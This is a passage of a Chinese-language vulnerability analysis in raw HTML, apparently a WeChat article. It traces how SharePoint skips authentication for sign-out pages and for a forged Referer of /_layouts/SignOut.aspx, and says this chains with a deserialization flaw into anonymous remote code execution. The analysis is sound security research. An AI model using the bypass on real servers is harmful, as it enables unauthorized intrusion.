BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Init</span></code><span leaf=""> 中对请求处理事件进行了绑定：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008609" class="rich_pages wxw-img" data-ratio="0.2206896551724138" data-type="png" data-w="1015" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d9516f78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVniaNdXVtnWXAF7yTjUcbbjYdYGkiaDNog6HjQD7w0e3HFd3kP8pAHEUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调试分析可知，返回 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">401</span></code><span leaf=""> 的判断过程通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPUtility.SendAccessDeniedHeader</span></code><span leaf=""> 完成，进入未授权的判断需要 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">flag7</span></code><span leaf=""> 或者 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">flag6</span></code><span leaf=""> 的取值满足一定条件：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008607" class="rich_pages wxw-img" data-ratio="0.34637964774951074" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=5d065957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaV5sytlTx0Qs9BgbW1IjIUrpf5n7DvdXAezVmQOCtgZTf5CRm9qf2fibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">向上搜索 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">flag6</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">flag7</span></code><span leaf=""> 赋值过程发现如下代码：当满足 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">if</span></code><span leaf=""> 中的判断时，可以将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">flag6</span></code><span leaf=""> 赋值为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">false</span></code><span leaf=""> ，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">flag7</span></code><span leaf=""> 赋值为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></code><span leaf=""> ，刚好可以避开前面的认证检查：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">try</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    uri2 = context.Request.UrlReferrer;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">catch (UriFormatException)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri2 != null &amp;&amp; (SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))))</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    flag6 = false;</span><span leaf=""><br/></span><span leaf="">    flag7 = true;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">部分 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 无需进行认证，比如：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_layouts/start.aspx</span></code><span leaf=""> ；</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_layouts/SignOut.aspx</span></code><span leaf=""> ；</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ...</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对于其他不满足条件的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 请求，当 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Referer</span></code><span leaf=""> 值等于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_layouts/SignOut.aspx</span></code><span leaf=""> 或者 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_layouts/15/SignOut.aspx</span></code><span leaf=""> 时，也可以不认证：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">(uri2 != null &amp;&amp; (SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot) || </span><span leaf=""><br/></span><span leaf="">SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious) || </span><span leaf=""><br/></span><span leaf="">SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">设置特定 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Referer</span></code><span leaf=""> 头可绕过认证：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008608" class="rich_pages wxw-img" data-ratio="0.4497560975609756" data-type="png" data-w="1025" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8bda536b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVxz5jzzS4H1vfM4rJyspnYkKA56bmrKPlicC8CcIibDN7xORBqOUnXZUg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">与反序列化漏洞组合使用，构建了一条匿名 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 漏洞利用链。做成命令回显的效果如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008611" class="rich_pages wxw-img" data-ratio="0.375" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=99c4c269&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVicfn6UOjDgXQQmIaRK8nQXpNsh0dkB5ORib7oc8kWnc2msbxFlfKvXNQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 